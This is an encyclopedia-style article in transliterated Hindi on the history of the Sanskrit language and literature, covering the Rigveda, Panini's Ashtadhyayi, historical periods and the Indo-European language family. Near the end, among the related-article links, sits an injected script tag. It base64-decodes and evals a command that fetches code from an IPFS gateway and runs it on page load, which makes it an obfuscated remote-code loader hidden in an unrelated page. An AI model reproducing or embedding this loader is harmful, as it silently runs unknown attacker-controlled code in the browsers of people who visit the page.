संस्कृत भाषा और साहित्य

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sanskrit bhasha aur sahity ka vishv mean apana ek vishisht sthan hai. vishv ki samast prachin bhashaoan aur unake sahity (vanh‌may) mean sanskrit ka khas mahatv hai. yah mahatv anek karanoan aur drishtiyoan se hai. bharat ke saanskritik, aitihasik, dharmik, adhyatmik, darshanik, samajik aur rajanitik jivan evan vikas ke sopanoan ki sanpoorn vyakhya sanskrit vanh‌may ke madhyam se aj upalabdh hai.

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bharat ki saanskritik bhasha

sahasrabdiyoan se sanskrit bhasha aur isake vanh‌may ki bharat mean sarvadhik pratishtha prapt rahi hai. bharat ki yah saanskritik bhasha rahi hai. sahasrabdiyoan tak samagr bharat ko saanskritik aur bhavatmak ekata mean abaddh rakhane ko is bhasha ne mahatvapoorn kary kiya hai. isi karan bharatiy manisha ne is bhasha ko 'amarabhasha' ya 'devavani' ke nam se sammanit kiya hai.[1]

sahity nirman

rrigved kal se lekar aj tak is bhasha ke madhyam se sabhi prakar ke vanh‌may ka nirman hota a raha hai. himalay se lekar kanyakumari ke chhor tak kisi n kisi roop mean sanskrit ka adhyayan-adhyapan ab tak hota chala a raha hai. bharatiy sanskriti aur vicharadhara ka madhyam hokar bhi yah bhasha anek drishtiyoan se dharmanirapeksh rahi hai. dharmik, sahityik, adhyatmik, darshanik, vaijnanik aur manaviki adi pray: samast prakar ke vanh‌may ki rachana is bhasha mean huee hai.

rrigvedasanhita

rrigvedasanhita ke katipay mandaloan ki bhasha sanskrit vani ka sarvaprachin upalabdh svaroop hai. rrigvedasanhita is bhasha ka puratanatam granth hai. yahaan yah bhi smaran rakhana chahie ki rrigvedasanhita keval sanskrit bhasha ka prachinatam granth nahian hai, -pitu vah ary jati ki sanpoorn grantharashi mean bhi prachinatam granth hai. doosare shabdoan mean, samast vishv vanh‌may ka vah (rriksanhita) sabase puratan upalabdh granth hai. das mandaloan ke is granth ka dvitiy se saptam mandal tak ka aansh prachinatam aur pratham tatha dasham mandal apekshakrit arvachin hai. rrigvedakal se lekar aj tak us bhasha ki akhand aur avichchhinn paranpara chali a rahi hai. rriksanhita keval bharatiy vanh‌may ki hi amooly nidhi nahian hai, vah samagr ary jati ki, samast vishv vanh‌may ki sarvadhik mahatvapoorn virasat hai.[1]

vishv ki prachin pragaitihasik sanskritiyoan ka jo adhyayan hua hai, usamean kadachith‌ ary jati se sanbaddh anushilan ka vishisht sthan hai. is vaishishty ka karan yahi rrigvedasanhita hai. ary jati ki adyatam nivas bhoomi, unaki sanskriti, sabhyata, samajik jivan adi ke vishay mean anushilan hue haian. rriksanhita un sabaka sarvadhik mahatvapoorn aur pramanik srot raha hai. pashchim ke vidvanoan ne sanskrit bhasha auair rriksanhita se parichay pane ke karan hi tulanatmak bhasha-vijnan ke adhyayan ko sahi disha di tatha ary bhashaoan ke bhashashastriy vivechan mean praudhi evan shastriyata ka vikas hua. bharat ke vaidik rrishiyoan aur vidvanoan ne apane vaidik vanh‌may ko maukhik aur shrutiparanpara dvara prachinatam roop mean atyant savadhani ke sath surakshit aur adhikrit anae rakha. kisi prakar ke dhvaniparak, matraparak yahaan tak ki svaraparak parivartan se poornat: bachate rahane ka ni:svarth bhav mean vaidik vedapathi sahasrabdiyoan tak athak prayas karate rahe.

vedavyas ka yogadan

'ved' shabd se mantrabhag (sanhitabhag) aur 'brahman' ka bodh mana jata tha. 'brahman' bhag ke tin aansh- brahman, aranyak aur upanishadh kahe ge haian. lipikala ke vikas se parv maukhik paranpara dvara vedapathiyoan ne inaka sanrakshan kiya. bahut-sa vaidik vanh‌may dhire-dhire lupt ho gaya hai. par aj bhi jitana upalabdh hai, usaka mahatv asim hai. bharatiy drishti se ved ko 'apaurushey' mana gaya hai. kaha jata hai, mantradrashta rrishiyoan ne mantroan ka sakshatkar kiya. adhunik jagath‌ ise svikar nahian karata. phir bhi yah mana jata hai ki vedavyas ne vaidik mantroan ka sankalan karate hue sanhitaoan ke roop mean unhean pratishthit kiya. at: sanpoorn bharatiy sanskriti vedavyas ki yug-yug tak rrini bani rahegi.

rriksanhita ki bhasha

rriksanhita ki bhasha ko sanskrit ka adyatam upalabdh roop kaha ja sakata hai. yah bhi mana jata hai ki ukt sanhita ke pratham aur dasham mandaloan ki bhasha prachinatar hai. kuchh vidvanh‌ prachin vaidik bhasha ko paravarti paniniy (laukik) sanskrit se bhinn manate haian. par yah paksh bhramapoorn hai. vaidik bhasha abhraant roop se sanskrit bhasha ka ady upalabdh roop hai. panini ne jis sanskrit bhasha ka vyakaran likha hai, usake do aansh haian-

  1. vaidik bhasha, jise 'ashtadhyayi' mean 'chhandaph‌' kaha gaya hai.
  2. bhasha, jise lokabhasha ya laukik bhasha ke roop mean rakha gaya hai.[1]

bhasha ke lie pratham prayog

'vyakaran mahabhashy' nam se prasiddh achary patanjali ke shabdanushasan mean bhi vaidik bhasha aur laukik bhasha ke shabdoan ka aranbh mean ullekh hua hai. 'sanskrit nam daianvi vaganvakhyata maharshibhi:' ke dvara jise devabhasha ya sanskrit kaha gaya hai, use sanbhavat: yask, panini, katyayan aur pantajali ke samay tak chhandobhasha (vaidik bhasha) aur lokabhasha ke do namoan, staroan aur roopoan dvara vyakt kiya gaya tha. bahut-se vidvanoan ka mat hai ki bhasha ke lie 'sanskrit' ka prayog sarvapratham 'valmiki ramayan' ke 'suandarakaand' (30 sarg) mean hanumanh‌ dvara visheshan roop se (sanskrita vakh‌) kiya gaya hai. bharatiy paranpara ki kianvadanti ke anusar sanskrit bhasha pahale avyakrit thi, usake prakriti, pratyayadi ka vishlisht vivechan nahian hua tha. devoan dvara prarthana karane par devaraj iandr ne prakriti ne prakriti, pratyay adi ke vishleshan vivechan ka upayatmak vidhan prastut kiya. isi 'sanskar' vidhan ke karan bharat ki prachinatam ary bhasha ka nam 'sanskrit' p da.

vikasit svaroop

rriksanhitakalin sadhu bhasha tatha 'brahman', 'aranyak' aur 'dashopanishadh' ki sahityik vaidik bhasha ke anantar usi ka vikasit svaroop laukik sanskrit' ya 'paniniy sanskrit' hua. ise hi 'sanskrit' ya sanskrit bhasha kaha gaya. par aj ke kuchh bhashavid sanskrit ko sanskar dvara banaee gee kritrim bhasha manate haian. aisa manate haian ki in sanskrit ka mooladhar poorvatar kal ko udichy, madhyadeshiy ya aryavartiy vibhashaean thian. 'vibhasha' ya 'udichamh‌' shabd se panini sootroan mean inaka ullekh upalabdh hai. inake atirikt bhi 'prachy' adi boliyaan thian. parantu 'panini' ne bhasha ka ek sarvadeshik aur sarvabharatiy parishkrit roop sthir kar diya. dhire dhire panini sanmat bhasha ka prayog roop aur vikas pray: sthayi ho gaya. patanjali ke samay tak 'aryavart' (aryanivas) ke shisht janoan mean sanskrit bolachal ki bhasha thi.[2] par shighr hi vah samagr bharat ke dvijativarg aur vidvatsamaj ki saanskritik aur akar bhasha ho gee.

kal vibhajan

sanskrit bhasha ke vikas staroan ki drishti se anek vidvanoan ne anek roop se isaka aitihasi kal vibhajan kiya hai. samany suvidha ki drishti se adhik many nimnaankit kal vibhajan is prakar hai-

  1. adikal, vedasanhitaoan aur vanh‌may ka kal - ee. poo. 4500 se 800 ee. poo. tak
  2. madhy kal, ee. poo. 800 se 800 ee. tak, jisamean shastroan darshanasootroan, vedaang granthoan, kavyoan tatha kuchh pramukh sahityashastriy granthoan ka nirman hua.
  3. paravartikal, 800 ee. se lekar 1600 ee. ya ab tak ka adhunik kal-jis yug mean kavy, natak, sahityashastr, tantrashastr, shilpashastr adi ke granthoan ki rachana ke sath sath mool granthoan ki vyakhyatmak, kritiyoan ki mahatvapoorn sarjana huee.

bhashy, tika, vivaran, vyakhyan adi ke roop mean jin sahasroan granthoan ka nirman hua, unamean anek bhashy aur tikaoan ki pratishtha, manyata aur prasiddhi moolagranthoan se bhi kahian-kahian adhik huee. is prakar kaha ja sakata hai ki adhunik vidvanoan ke anusar bhi sanskrit bhasha ka akhand pravah paanch sahasr varshoan se bahata chala a raha hai. bharat mean yah ary bhasha ka sarvadhik mahatvashali, vyapak aur sanpann svaroop hai. isake madhyam se bharat ki utkrishtatam manisha, pratibha, amooly chiantan, manan, vivek, rachanatmak, sarjana aur vaicharik prajna ka abhivyanjan hua hai. aj bhi sabhi kshetroan mean is bhasha ke dvara granth nirman ki kshin dhara avichchhinn roop se vah rahi hai. aj bhi yah bhasha, atyant simit kshetr mean hi sahi, boli jati hai. isamean vyakhyan hote haian aur bharat ke vibhinn pradeshik bhasha-bhashi panditajan isaka paraspar vartalap mean prayog karate haian. hianduoan ke saanskarik karyoan mean aj bhi yah prayukt hoti hai. isi karan grik aur laitin adi prachin mrit bhashaoan se sanskrit ki sthiti bhinn hai. yah mritabhasha nahian, amarabhasha hai.

ary bhasha parivar

aitihasik bhasha vijnan ki drishti se sanskrit bhasha ary bhasha parivar ke aantargat rakhi gee hai. ary jati bharat mean bahar se aee ya yahaan isaka nivas tha, ityadi vichar anavashyak hone se yahaan nahian kiya ja raha hai, par adhunik bhasha vijnan ke panditoan ki manyata ke anusar bharat yooropiy bhasha-bhashiyoan ki jo nana prachin bhashaean[3] thian, ve vastut: ek moolabhasha ki[4] deshakalanusari vibhinn shakhaean thian. un sabaki udgamabhasha ya moolabhasha ko ady ary bhasha kahate haian. kuchh vidvanoan ke mat mean-vira-mool nivas sthan ke vasi susangathit aryoan ko hi 'viros' ya virash‌ (vira:) kahate the. virosh‌ (viro) shabd dvara jin poorvokt prachin ary bhasha samooh bhashiyoan ka dyotan hota hai, un vividh prachin bhasha-bhashiyoan ko viras (sanvira:) kaha gaya hai. arthath‌ samast bhashaean parivarik drishti se ary parivar ki bhashaean haian. sanskrit ka inamean anyatam sthan hai. ukt parivar ki 'keantumh‌' aur 'shatamh‌'[5] do pramukh shakhaean haian. pratham ke aantargat grik, latin adi ati haian. sanskrit ka sthan 'shatamh‌' ke aantargat bharat-eerani shakha mean mana gaya hai.[1]

ary parivar mean kaun prachin, prachinatar aur prachinatam hai, yah poornat: nishchit nahian hai. phir bhi adhunik adhikaansh bhashavid grik, latin adi ko ady ary bhasha ki jyeshth santati aur sanskrit ko unaki chhoti bahin manate haian. itana hi nahian bharat-eerani-shakha ki prachinatam avasta ko bhi sanskrit se prachin manate haian. parantu anek bharatiy vidvanh‌ samajhate haian ki 'jid-avasta' ki avasta ka svaroop rrikbhasha ki apeksha navy hai. jo bhi ho, itana nishchit hai ki granth roop mean smriti roop se avashisht vanh‌may mean rriksanhita prachinatam hai aur isi karan vah bhasha bhi apani upalabdhi mean prachinatam hai. usaki vaidik sanhitaoan ki b di visheshata yah hai ki hajaroan varshoan tak jab lipi kala ka bhi pradurbhav nahian tha, vaidik sanhitaean maukhik aur shruti paranpara dvara guru-shishyoan ke samaj mean akhand roop se pravahaman thian. uchcharan ki shuddhata ko itana surakshit rakha gaya ki dhvani or matraean, hi nahian, sahasroan varshoan poorv se aj tak vaidik mantroan mean kahian patabhed nahian hua. udatt anudattadi svaroan ka uchcharan shuddh roop mean poornat: avikrit raha. adhunik bhasha vaijnanik yah manate haian ki svaroan ki drishti se grik, latin adi ke 'keantumh‌' varg ki bhashaean adhik sanpann bhi haian aur mool ya ady ary bhasha ke adhik samip bhi. unamean ukt bhasha ki svar sanpatti adhik surakshit haian. sanskrit mean vyanjan sanpatti adhik surakshit hai. bhasha ke sanghatanatmak athava roopatmak vichar ki drishti se sanskrit bhasha ko vibhakti pradhan athava 'shlishtabhasha' kaha jata hai.

sarvaprachin upalabdh vyakaran

pramanikata ke vichar se is bhasha ka sarvaprachin upalabdh vyakaran panini ki ashtadhyayi hai. kam se kam 600 ee. poo. ka yah granth aj bhi samast vishv mean atulaniy vyakaran hai. vishv ke aur mukhyat: amarika ke bhashashastri sanghatanatmak bhasha vijnan ki drishti se ashtadhyayi ko aj bhi vishv ka sarvottam granth manate haian. 'broomaphild' ne apane 'laiangvej' tatha any kritiyoan mean is tathy ki pusht sthapana ki hai. panini ke poorv sanskrit bhasha nishchay hi shisht evan vaidik janoan ki vyavahar bhasha thi. asanskrit janoan mean bhi bahut si boliyaan us samay prachalit rahi hoangi. par yah mat adhunik bhashavijnoan ko many nahian hai. ve kahate haian ki sanskrit kabhi bhi vyavahar bhasha nahian thi. janata ki bhashaoan ko tatkalin prakrit kaha ja sakata hai. devabhasha tatvat: kritrim ya sanskar dvara nirmit brahman panditoan ki bhasha thi, lokabhasha nahian. parantu yah mat sarvamany nahian hai.

panini se lekar patanjali tak sabhi ne sanskrit ka lok ki bhasha kaha hai, laukik bhasha bataya hai. any saik doan praman siddh karate haian ki 'sanskrit' vaidik aur vaidikottar poorv paninikal mean lokabhasha aur vyavahar bhasha thi. yah avashy raha hoga ki desh, kal aur samaj ke sandarbh mean usaki apani sima rahi hogi. bad mean chalakar vah pathit samaj ki sahityik aur saanskritik bhasha ban gee. tadanantar yah samast bharat mean sabhi panditoan ki, chahe ve ary rahean hoan ya aryetar jati ke, sabhi ki, sarvamany saanskritik bhasha ho gee aur asetu himachal isaka prasar, samadar aur prachar raha evan aj bhi bana hua hai.

vishvabhasha

lagabhag satrahavian shatabdi ke poorvardh se yoorop aur pashchimi deshoan ke mishanari evan any vidyapremiyoan ko sanskrit ka parichay prapt hua. dhire-dhire pashchim mean hi nahian, samast vishv mean sanskrit ka prachar hua. jarman, aangrez, fraansisi, amariki tatha yoorop ke anek chhote b de desh ke nivasi vidvanoan ne vishesh roop se sanskrit ke adhyayan anushilan ko adhunik vidvanoan mean prajapriy banaya. adhunik vidvanoan aur anushilakoan ke mat se vishv ki purabhashaoan mean sanskrit sarvadhik vyavasthit, vaijnanik aur sanpann bhasha hai. vah aj keval bharatiy bhasha hi nahian, ek roop se vishvabhasha bhi hai. yah kaha ja sakata hai ki bhoomandal ke prayatn-bhasha-sahityoan mean kadachith‌ sanskrit ka vanh‌may sarvadhik vishal, vyapak, chaturmukhi aur sanpann hai. sansar ke pray: sabhi vikasit aur sansar ke pray: sabhi vikasaman deshoan mean sanskrit bhasha aur sahity ka aj adhyayan-adhyapan ho raha hai.[1]

ary bhashaoan ke vikas mean yogadan

sanskrit bhasha ka parichay hone se hi ary jati, usaki sanskriti, jivan aur tathakathit mool ady ary bhasha se sanbaddh vishayoan ke adhyayan ka pashchimi vidvanoan ko thos adhar prapt hua. prachin grik, latin, avasta aur rriksanskrit adi ke adhar par mool ady ary bhasha ki dhvani, vyakaran aur svaroop ki parikalpana ki ja saki, jisase rriksanskrit ka avadan sabase adhik mahatv ka hai. grik, latin adi bhashaoan ke sath sanskrit ka parivarik aur nikat sanbandh hai, par bharat-eerani-varg ki bhashaoan ke sath[6] sanskrit ki sarvadhik nikatata hai. bharat ki sabhi ady, madhyakalin evan adhunik ary bhashaoan ke vikas mean moolat: rrigved evan taduttarakalin sanskrit ka adharik evan aupadanik yogadan raha hai. adhunik bhasha vaijnanik manate haian ki rrigved kal se hi jan samany mean bolachal ki tathabhoot prakrit bhashaean avashy prachalit rahi hoangi. unhian se pali, prakrit, apabhransh tatha taduttarakalin ary bhashaoan ka vikas hua. parantu is vikas mean sanskrit bhasha ka sarvadhik aur sarvavidh yogadan raha hai. yahian par yah bhi yad rakhana chahie ki sanskrit bhasha ne bharat ke vibhinn pradeshoan aur aanchaloan ki aryetar bhashaoan ko bhi kafi prabhavit kiya tatha svayan unase prabhavit huee; un bhashaoan aur unake bhashanakartaoan ki sanskriti aur sahity ko to prabhavit kiya hi, unaki bhashaoan, shabdakosh unaki dhvanimala aur lipikala ko bhi apane yogadan se labhanvit kiya. bharat ki do prachin lipiyaan- brahmi (baean se likhi janevali) aur kharoshthi (daean se lekhy) thian. inamean brahmi ko sanskrit ne mukhyat: apanaya.

sanpann dhvanimala

bhasha ki drishti se sanskrit ki dhvanimala paryapt sanpann hai. svaroan ki drishti se yadyapi grik, latin adi ka vishisht sthan hai, tathapi apane kshetr ke vichar se sanskrit ki svaramala paryapt aur bhashanuroop hai. vyanjanamala atyant sanpann hai. sahasroan varshoan tak bharatiy aryoan ke adyashutisahity ka adhyanadhyapan guru shishyoan dvara maukhik paranpara ke roop mean pravartaman raha, kyoanki kadachit us yug mean[7] lipikala ka udbhav aur vikas nahian ho paya tha. sanbhavat: panini ke kuchh poorv ya kuchh bad se lipi ka bharat mean prayog chal p da aur mukhyat: 'brahmi' ko sanskrit bhasha ka vahan banaya gaya. isi brahmi ne ary aur aryatar adhikaansh lipiyoan ki varnamala aur varnakram ko bhi prabhavit kiya. madhyakalin nana bharatiy dravi d bhashaoan tatha tamil, telagu adi ki varnamala par bhi sanskat bhasha aur brahmi lipi ka paryapt prabhav hai. dhvanimala aur dhvanikram ki drishti se panini kal se prachalit sanskrit varnamala aj bhi kadachith‌ vishv ki sarvadhik vaijnanik evan shastriy varnamala hai. sanskrit bhasha ke sath-sath samast vishv mean pratyaksh ya roman akaraantak ke roop mean aj samast sansar mean isaka prachar ho gaya hai.

sanskrit sahity

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yahaan sahity shabd ka prayog 'vanh‌may' ke lie hai. oopar ved sanhitaoan ka ullekh hua hai. ved char haian- rrigved, yajurved, samaved aur atharvaved. inaki anek shakhaean thian, jinamean bahut-si lupt ho chuki haian aur kuchh surakshit bach gee haian, jinake sanhitagranth hamean aj upalabdh haian. inhian ki shakhaoan se sanbaddh brahman, aranyak aur upanishad namak granthoan ka vishal vanh‌may prapt hai. vedaangoan mean sarvapramukh 'kalpasootr' haian, jinake avaantar vargoan ke roop mean aur sootr, grihyasootr aur dharmasootr (shulbasootr bhi haian, ka bhi vyapak sahity bacha hua hai. inhian ki vyakhya ke roop mean samayanusar dharm sanhitaoan aur smriti granthoan ka jo prachur vanh‌may bana, manusmriti ka unamean pramukh sthan hai. vedaangoan mean shiksha-pratishakhy, vyakaran, nirukt, jyotish, chhandashastr se sanbaddh granthoan ka vaidikottar kal se nirman hota raha hai. ab tak in sabaka vishal sahity upalabdh hai.

aj jyotish ki tin shakhaean- 'ganit', 'siddhaant' aur 'phalit' vikasit ho chuki haian aur bharatiy ganitajnoan ki vishv ko bahut-si maulik den haian. panini aur unase poorvakalin tatha paravarti vaiyakaranoan dvara jane kitane vyakaranoan ki rachana huee, jinamean panini ka vyakaran-sanpraday 2500 varshoan se pratishthit mana gaya aur aj vishv bhar mean usaki mahima many ho chuki hai. yask ka 'nirukt' panini se poorvakal ka granth hai aur usase bhi pahale niruktividya ke anek achary prasiddh ho chuke the. shikshapratishakhy granthoan mean kadachit dhvani vijnan, shastr adi ka jitana prachin aur vaijnanik vivechan bharat ki sanskrit bhasha mean hua hai, vah atulaniy aur ashcharyakari hai. upaved ke roop mean chikitsa vijnan ke roop mean ayurved vidya ka vaidik kal se hi prachar tha aur usake panditagranth[8] prachin bharatiy manisha ke vaijnanik adhyayan ki vismayakari nidhi hai. is vidya ke bhi vishal vanh‌may ka kalaantar mean nirman hua. isi prakar dhanurved aur rajaniti, gaandharvaved adi ko upaved kaha gaya hai tatha inake vishay ko lekar granth ke roop mean athava prasangatirgat sandarbhoan mean paryapt vichar milata hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. 1.0 1.1 1.2 1.3 1.4 sanskrit bhasha aur sahity (hindi) bharatakhoj. abhigaman tithi: 27 pharavari, 2015.
  2. pragadarshatpratyakkalakavanaddakshinen himavantamuttaren variyatrametasminnaryavartean aryanivase..... (mahabhashy, 6.3.109)
  3. vaidik sanskrit, avasta arthath‌ prachinatam parasi grik, prachin g aauthik tatha prachinatam jarman, laitin, prachinatam airish tatha nana velt boliyaan, prachinatam slav evan baltik bhashaean, araminiyan, hitti, bukhari adi.
  4. jise mool aryabhasha, ady aryabhasha, iandojarmanik bhasha, ady-bharat-yoropiy bhasha, phadaralaiangvej adi.
  5. donoan hi shatavattak shabd
  6. jinamean avasta, pahalavi, farasi, eerani, pashto adi bahut-si prachin navin bhashaean haian.
  7. jaisa adhunik itihasajn lipishastri manate haian.
  8. 'charakasanhita', 'sushrutasanhita', 'bhedasanhita' adi.

sanbandhit lekh

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shrutiyaan
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

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